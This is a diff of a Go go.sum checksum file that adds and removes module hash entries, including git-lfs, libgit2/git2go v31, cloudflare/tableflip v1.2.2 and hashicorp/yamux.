@@ -131,6 +131,7 @@ github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuy
github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho=
+github.com/alexbrainman/sspi v0.0.0-20180125232955-4729b3d4d858/go.mod h1:976q2ETgjT2snVCf2ZaBnyBbVoPERGjUz+0sofzEfro=
github.com/apache/thrift v0.12.0/go.mod h1:cp2SuWMxlEZw2r+iP2GNCdIi4C1qmUzdZFSVb+bacwQ=
github.com/apache/thrift v0.13.0/go.mod h1:cp2SuWMxlEZw2r+iP2GNCdIi4C1qmUzdZFSVb+bacwQ=
github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
@@ -138,6 +139,7 @@ github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5
github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
github.com/aryann/difflib v0.0.0-20170710044230-e206f873d14a/go.mod h1:DAHtR1m6lCRdSC2Tm3DSWRPvIPr6xNKyeHdqDQSQT+A=
+github.com/avast/retry-go v2.4.2+incompatible/go.mod h1:XtSnn+n/sHqQIpZ10K1qAevBhOOCWBLXXy3hyiqqBrY=
github.com/aws/aws-lambda-go v1.13.3/go.mod h1:4UKl9IzQMoD+QF79YdCuzCwp8VbmG4VAQwij/eHl5CU=
github.com/aws/aws-sdk-go v1.15.27/go.mod h1:mFuSZ37Z9YOHbQEwBWztmVzqXrEkub65tZoCYDt7FT0=
github.com/aws/aws-sdk-go v1.17.4/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
@@ -165,24 +167,30 @@ github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XL
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
+github.com/cilium/ebpf v0.0.0-20200702112145-1c8d4c9ef775/go.mod h1:7cR51M8ViRLIdUjrmSXlK9pkrsDlLHbO8jiB8X8JnOc=
github.com/clbanning/x2j v0.0.0-20191024224557-825249438eec/go.mod h1:jMjuTZXRI4dUb/I5gc9Hdhagfvm9+RyrPryS/auMzxE=
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/client9/reopen v1.0.0 h1:8tpLVR74DLpLObrn2KvsyxJY++2iORGR17WLUdSzUws=
github.com/client9/reopen v1.0.0/go.mod h1:caXVCEr+lUtoN1FlsRiOWdfQtdRHIYfcb0ai8qKWtkQ=
-github.com/cloudflare/tableflip v1.2.1-0.20200514155827-4baec9811f2b/go.mod h1:vhhSlJqV8uUnxGkRSgyvGthfGlkAwJ4UuSV51fSrCQY=
+github.com/cloudflare/tableflip v0.0.0-20190329062924-8392f1641731/go.mod h1:erh4dYezoMVbIa52pi7i1Du7+cXOgqNuTamt10qvMoA=
+github.com/cloudflare/tableflip v1.2.2 h1:WkhiowHlg0nZuH7Y2beLVIZDfxtSvKta1f22PEgUN7w=
+github.com/cloudflare/tableflip v1.2.2/go.mod h1:P4gRehmV6Z2bY5ao5ml9Pd8u6kuEnlB37pUFMmv7j2E=
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=
github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=
github.com/cockroachdb/datadriven v0.0.0-20190809214429-80d97fb3cbaa/go.mod h1:zn76sxSg3SzpJ0PPJaLDCu+Bu0Lg3sKTORVIj19EIF8=
github.com/codahale/hdrhistogram v0.0.0-20161010025455-3a0bb77429bd/go.mod h1:sE/e/2PUdi/liOCUjSTXgM1o87ZssimdTWN964YiIeI=
github.com/codegangsta/inject v0.0.0-20150114235600-33e0aa1cb7c0/go.mod h1:4Zcjuz89kmFXt9morQgcfYZAYZ5n8WHjt81YYWIwtTM=
+github.com/containerd/cgroups v0.0.0-20201118023556-2819c83ced99/go.mod h1:s5q4SojHctfxANBDvMeIaIovkq29IP48TKAxnhYRxvo=
github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
github.com/coreos/go-etcd v2.0.0+incompatible/go.mod h1:Jez6KQU2B/sWsbdaef3ED8NzMklzPG4d5KIOhIy30Tk=
github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
github.com/coreos/go-systemd v0.0.0-20180511133405-39ca1b05acc7/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
+github.com/coreos/go-systemd/v22 v22.0.0/go.mod h1:xO0FLkIi5MaZafQlIrOotqXZ90ih+1atmu1JpKERPPk=
github.com/coreos/pkg v0.0.0-20160727233714-3ac0863d7acf/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
github.com/cpuguy83/go-md2man v1.0.10/go.mod h1:SmD6nW6nTyfqj6ABTjUi3V3JVMnlJmwcJI5acqYI6dE=
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
+github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 h1:y5HC9v93H5EPKqaS1UYVg1uYah5Xf51mBfIoWehClUQ=
@@ -204,6 +212,8 @@ github.com/disintegration/imaging v1.6.2 h1:w1LecBlG2Lnp8B3jk5zSuNqd7b4DXhcjwek1
github.com/disintegration/imaging v1.6.2/go.mod h1:44/5580QXChDfwIclfc/PCwrr44amcmDAg8hxG0Ewe4=
github.com/dlclark/regexp2 v1.2.0 h1:8sAhBGEM0dRWogWqWyQeIJnxjWO6oIjl8FKqREDsGfk=
github.com/dlclark/regexp2 v1.2.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
+github.com/docker/go-units v0.4.0/go.mod h1:fgPhTUdO+D/Jk86RDLlptpiXQzgHJF7gydDDbaIK4Dk=
+github.com/dpotapov/go-spnego v0.0.0-20190506202455-c2c609116ad0/go.mod h1:P4f4MSk7h52F2PK0lCapn5+fu47Uf8aRdxDSqgezxZE=
github.com/dustin/go-humanize v0.0.0-20171111073723-bb3d318650d4/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
github.com/eapache/go-resiliency v1.1.0/go.mod h1:kFI+JgMyC7bLPUVY133qvEBtVayf5mFgVsvEsIPBvNs=
@@ -235,9 +245,11 @@ github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWo
github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=
github.com/gavv/httpexpect v2.0.0+incompatible/go.mod h1:x+9tiU1YnrOvnB725RkpoLv1M62hOWzwo5OXotisrKc=
github.com/getsentry/raven-go v0.1.0/go.mod h1:KungGk8q33+aIAZUIVWZDr2OfAEBsO49PX4NzFV5kcQ=
+github.com/getsentry/raven-go v0.1.2/go.mod h1:KungGk8q33+aIAZUIVWZDr2OfAEBsO49PX4NzFV5kcQ=
github.com/getsentry/raven-go v0.2.0 h1:no+xWJRb5ZI7eE8TWgIq1jLulQiIoLG0IfYxv5JYMGs=
github.com/getsentry/raven-go v0.2.0/go.mod h1:KungGk8q33+aIAZUIVWZDr2OfAEBsO49PX4NzFV5kcQ=
github.com/getsentry/sentry-go v0.5.1/go.mod h1:B8H7x8TYDPkeWPRzGpIiFO97LZP6rL8A3hEt8lUItMw=
+github.com/getsentry/sentry-go v0.7.0/go.mod h1:pLFpD2Y5RHIKF9Bw3KH6/68DeN2K/XBJd8awjdPnUwg=
github.com/getsentry/sentry-go v0.10.0 h1:6gwY+66NHKqyZrdi6O2jGdo7wGdo9b3B69E01NFgT5g=
github.com/getsentry/sentry-go v0.10.0/go.mod h1:kELm/9iCblqUYh+ZRML7PNdCvEuw24wBvJPYyi86cws=
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
@@ -245,6 +257,10 @@ github.com/gin-contrib/sse v0.0.0-20190301062529-5545eab6dad3/go.mod h1:VJ0WA2NB
github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI=
github.com/gin-gonic/gin v1.4.0/go.mod h1:OW2EZn3DO8Ln9oIKOvM++LBO+5UPHJJDH72/q/3rZdM=
github.com/gin-gonic/gin v1.6.3/go.mod h1:75u5sXoLsGZoRN5Sgbi1eraJ4GU3++wFwWzhwvtwp4M=
+github.com/git-lfs/git-lfs v1.5.1-0.20210304194248-2e1d981afbe3/go.mod h1:8Xqs4mqL7o6xEnaXckIgELARTeK7RYtm3pBab7S79Js=
+github.com/git-lfs/gitobj/v2 v2.0.1/go.mod h1:q6aqxl6Uu3gWsip5GEKpw+7459F97er8COmU45ncAxw=
+github.com/git-lfs/go-netrc v0.0.0-20180525200031-e0e9ca483a18/go.mod h1:70O4NAtvWn1jW8V8V+OKrJJYcxDLTmIozfi2fmSz5SI=
+github.com/git-lfs/wildmatch v1.0.4/go.mod h1:SdHAGnApDpnFYQ0vAxbniWR0sn7yLJ3QXo9RRfhn2ew=
github.com/go-check/check v0.0.0-20180628173108-788fd7840127/go.mod h1:9ES+weclKsC9YodN5RgxqK/VD9HM9JsCSh7rNhMZE98=
github.com/go-errors/errors v1.0.1 h1:LUHzmkK3GUKUrL/1gfBUxAHzcev3apQlezX/+O7ma6w=
github.com/go-errors/errors v1.0.1/go.mod h1:f4zRHt4oKfwPJE5k8C9vpYG+aDHdBFUsgrm6/TyX73Q=
@@ -277,10 +293,12 @@ github.com/gobuffalo/packr/v2 v2.7.1/go.mod h1:qYEvAazPaVxy7Y7KR0W8qYEE+RymX74kE
github.com/gobwas/httphead v0.0.0-20180130184737-2c6c146eadee/go.mod h1:L0fX3K22YWvt/FAX9NnzrNzcI4wNYi9Yku4O0LKYflo=
github.com/gobwas/pool v0.2.0/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
github.com/gobwas/ws v1.0.2/go.mod h1:szmBTxLgaFppYjEmNtny/v3w89xOydFnnZMcgRRu/EM=
+github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/gogo/googleapis v1.1.0/go.mod h1:gf4bu3Q80BeJ6H1S1vYPm8/ELATdvryBaNFGgqEef3s=
github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
github.com/gogo/protobuf v1.2.0/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4=
+github.com/gogo/protobuf v1.3.1/go.mod h1:SlYgWuQ5SjCEi6WLHjHCa1yvBfUnHcTbrrZtXPKa29o=
github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0=
@@ -293,6 +311,7 @@ github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4er
github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e h1:1r7pUrabqp18hOBcwBwiTsbnFeTZHV9eER/QT5JVZxY=
github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
+github.com/golang/lint v0.0.0-20180702182130-06c8688daad7/go.mod h1:tluoj9z5200jBnyusfRPU2LqT6J+DAorxEvtC7LHB+E=
github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y=
@@ -365,6 +384,7 @@ github.com/google/pprof v0.0.0-20210125172800-10e9aeb4a998/go.mod h1:kpwsk12EmLe
github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5 h1:zIaiqGYDQwa4HVx5wGRTXbx38Pqxjemn4BP98wpzpXo=
github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
+github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ=
github.com/google/subcommands v1.0.1/go.mod h1:ZjhPrFU+Olkh9WazFPsl27BQ4UPiG37m3yTrtFlrHVk=
github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
@@ -388,6 +408,7 @@ github.com/gorilla/websocket v1.4.1 h1:q7AeDBpnBk8AogcD4DSag/Ukw/KV+YhzLj2bP5HvK
github.com/gorilla/websocket v1.4.1/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs=
github.com/grpc-ecosystem/go-grpc-middleware v1.0.1-0.20190118093823-f849b5445de4/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs=
+github.com/grpc-ecosystem/go-grpc-middleware v1.2.3-0.20210213123510-be4c235f9d1c/go.mod h1:RXwzibsL7UhPcEmGyGvXKJ8kyJsOCOEaLgGce4igMFs=
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 h1:+9834+KizmvFV7pXQGSXQTsaWhq2GjuNUt0aUU0YBYw=
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0/go.mod h1:z0ButlSOZa5vEBq9m2m2hlwIgKw+rp3sdCBRoJY+30Y=
github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 h1:Ovs26xHkKqVztRpIrF/92BcuyuQ/YW4NSIpoGtfXNho=
@@ -409,11 +430,14 @@ github.com/hashicorp/go-version v1.2.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09
github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90=
github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
+github.com/hashicorp/golang-lru v0.5.4/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4=
github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64=
github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ=
github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I=
github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc=
+github.com/hashicorp/yamux v0.0.0-20210316155119-a95892c5f864 h1:Y4V+SFe7d3iH+9pJCoeWIOS5/xBJIFsltS7E+KJSsJY=
+github.com/hashicorp/yamux v0.0.0-20210316155119-a95892c5f864/go.mod h1:CtWFDAQgb7dxtzFs4tWbplKIe2jSi3+5vKbgIO0SLnQ=
github.com/hpcloud/tail v1.0.0 h1:nfCOvKYfkgYP8hkirhJocXT2+zOD8yUNjXaWfTlyFKI=
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
github.com/hudl/fargo v1.3.0/go.mod h1:y3CKSmjA+wD2gak7sUSXTAoopbhU08POFhmITJgmKTg=
@@ -428,6 +452,8 @@ github.com/iris-contrib/i18n v0.0.0-20171121225848-987a633949d0/go.mod h1:pMCz62
github.com/iris-contrib/jade v1.1.3/go.mod h1:H/geBymxJhShH5kecoiOCSssPX7QWYH7UaeZTSWddIk=
github.com/iris-contrib/pongo2 v0.0.1/go.mod h1:Ssh+00+3GAZqSQb30AvBRNxBx7rf0GqwkjqxNd0u65g=
github.com/iris-contrib/schema v0.0.1/go.mod h1:urYA3uvUNG1TIIjOSCzHr9/LmbQo8LrOcOqfqxa4hXw=
+github.com/jcmturner/gofork v0.0.0-20190328161633-dc7c13fece03/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
+github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
github.com/jmespath/go-jmespath v0.0.0-20160202185014-0b12d6b521d8/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
github.com/jmespath/go-jmespath v0.4.0 h1:BEgLn5cpjn8UN1mAw4NjwDrS35OdebyEtFe+9YPoQUg=
@@ -469,6 +495,7 @@ github.com/kataras/sitemap v0.0.5/go.mod h1:KY2eugMKiPwsJgx7+U103YZehfvNGOXURubc
github.com/kelseyhightower/envconfig v1.3.0 h1:IvRS4f2VcIQy6j4ORGIf9145T/AsUB+oY8LyvN8BXNM=
github.com/kelseyhightower/envconfig v1.3.0/go.mod h1:cccZRl6mQpaq41TPp5QxidR+Sa3axMbJDNb//FQX6Gg=
github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q=
+github.com/kisielk/errcheck v1.2.0/go.mod h1:/BMXB+zMLi60iA8Vv6Ksmxu/1UDYcXs4uQLJ+jE2L00=
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
github.com/klauspost/compress v1.8.2/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A=
@@ -491,7 +518,8 @@ github.com/labstack/gommon v0.3.0/go.mod h1:MULnywXg0yavhxWKc+lOruYdAhDwPK9wf0OL
github.com/leodido/go-urn v1.2.0/go.mod h1:+8+nEpDfqqsY+g338gtMEUOtuK+4dEMhiQEgxpxOKII=
github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
github.com/lib/pq v1.9.0/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
-github.com/libgit2/git2go/v30 v30.0.5/go.mod h1:YReiQ7xhMoyAL4ISYFLZt+OGqn6xtLqvTC1xJ9oAH7Y=
+github.com/libgit2/git2go v0.0.0-20190104134018-ecaeb7a21d47/go.mod h1:4bKN42efkbNYMZlvDfxGDxzl066GhpvIircZDsm8Y+Y=
+github.com/libgit2/git2go/v31 v31.4.12/go.mod h1:c/rkJcBcUFx6wHaT++UwNpKvIsmPNqCeQ/vzO4DrEec=
github.com/lightstep/lightstep-tracer-common/golang/gogo v0.0.0-20190605223551-bc2310a04743/go.mod h1:qklhhLq1aX+mtWk9cPHPzaBjWImj5ULL6C7HFJtXQMM=
github.com/lightstep/lightstep-tracer-common/golang/gogo v0.0.0-20200305213919-a88bf8de3718/go.mod h1:qklhhLq1aX+mtWk9cPHPzaBjWImj5ULL6C7HFJtXQMM=
github.com/lightstep/lightstep-tracer-common/golang/gogo v0.0.0-20210210170715-a8dfcb80d3a7 h1:YjW+hUb8Fh2S58z4av4t/0cBMK/Q0aP48RocCFsC8yI=
@@ -566,6 +594,7 @@ github.com/oklog/ulid/v2 v2.0.2/go.mod h1:mtBL0Qe/0HAx6/a4Z30qxVIAL1eQDweXq5lxOE
github.com/olekukonko/tablewriter v0.0.0-20170122224234-a0225b3f23b5/go.mod h1:vsDQFd/mU46D+Z4whnwzcISnGGzXWMclvtLoiIKAKIo=
github.com/olekukonko/tablewriter v0.0.1/go.mod h1:vsDQFd/mU46D+Z4whnwzcISnGGzXWMclvtLoiIKAKIo=
github.com/olekukonko/tablewriter v0.0.2/go.mod h1:rSAaSIOAGT9odnlyGlUfAJaoc5w2fSBUmeGDbRWPxyQ=
+github.com/olekukonko/ts v0.0.0-20171002115256-78ecb04241c0/go.mod h1:F/7q8/HZz+TXjlsoZQQKVYvXTZaFH4QRa3y+j1p7MS0=
github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/ginkgo v1.10.3 h1:OoxbjfXVZyod1fmWYhI7SEyaD8B00ynP3T+D5GiyHOY=
@@ -574,6 +603,7 @@ github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1Cpa
github.com/onsi/gomega v1.7.1 h1:K0jcRCwNQM3vFGh1ppMtDh/+7ApJrjldlX8fA0jDTLQ=
github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY=
github.com/op/go-logging v0.0.0-20160315200505-970db520ece7/go.mod h1:HzydrMdWErDVzsI23lYNej1Htcns9BCg93Dk0bBINWk=
+github.com/opencontainers/runtime-spec v1.0.2/go.mod h1:jwyrGlmzljRJv/Fgzds9SsS/C5hL+LL3ko9hs6T5lQ0=
github.com/opentracing-contrib/go-observer v0.0.0-20170622124052-a52f23424492/go.mod h1:Ngi6UdF0k5OKD5t5wlmGhe/EDKPoUM3BXZSSfIuJbis=
github.com/opentracing/basictracer-go v1.0.0/go.mod h1:QfBfYuafItcjQuMwinw9GhYKwFXS9KnPs5lxoYwgW74=
github.com/opentracing/opentracing-go v1.0.2/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
@@ -594,6 +624,8 @@ github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FI
github.com/pborman/getopt v0.0.0-20170112200414-7148bc3a4c30/go.mod h1:85jBQOZwpVEaDAr341tbn15RS4fCAsIst0qp7i8ex1o=
github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k=
github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
+github.com/pelletier/go-toml v1.8.1 h1:1Nf83orprkJyknT6h7zbuEGUEjcyVlCxSUGTENmNCRM=
+github.com/pelletier/go-toml v1.8.1/go.mod h1:T2/BmBdy8dvIRq1a/8aqjN41wvWlN4lrapLU/GW4pbc=
github.com/performancecopilot/speed v3.0.0+incompatible/go.mod h1:/CLtqpZ5gBg1M9iaPbIdPPGyKcA8hKdoy6hAWba7Yac=
github.com/philhofer/fwd v1.0.0 h1:UbZqGr5Y38ApvM/V/jEljVxwocdweyH+vmYvRPBnbqQ=
github.com/philhofer/fwd v1.0.0/go.mod h1:gk3iGcWd9+svBvR0sR+KPcfE+RNWozjowpeBVG3ZVNU=
@@ -601,6 +633,7 @@ github.com/pierrec/lz4 v1.0.2-0.20190131084431-473cd7ce01a1/go.mod h1:3/3N9NVKO0
github.com/pierrec/lz4 v2.0.5+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY=
github.com/pingcap/errors v0.11.4 h1:lFuQV/oaUMGcD2tqt+01ROSmJs75VG1ToEOkZIZ4nE4=
github.com/pingcap/errors v0.11.4/go.mod h1:Oi8TUi2kEtXXLMJk9l1cGmz20kV3TaQ0usTwv5KuLY8=
+github.com/pkg/errors v0.0.0-20170505043639-c605e284fe17/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
@@ -632,7 +665,6 @@ github.com/prometheus/common v0.18.0/go.mod h1:U+gB1OBLb1lF3O42bTCL+FK18tX9Oar16
github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk=
github.com/prometheus/procfs v0.0.0-20190117184657-bf6a532e95b1/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk=
github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA=
-github.com/prometheus/procfs v0.0.3/go.mod h1:4A/X28fw3Fc593LaREMrKMqOKvUAntwMDaekg4FpcdQ=
github.com/prometheus/procfs v0.0.8/go.mod h1:7Qr8sr6344vo1JqZ6HhLceV9o3AJ1Ff+GxbHq6oeK9A=
github.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU=
github.com/prometheus/procfs v0.6.0 h1:mxy4L2jP6qMonqmq+aTtOx1ifVWUgG/TAmntgbh3xv4=
@@ -646,6 +678,7 @@ github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFR
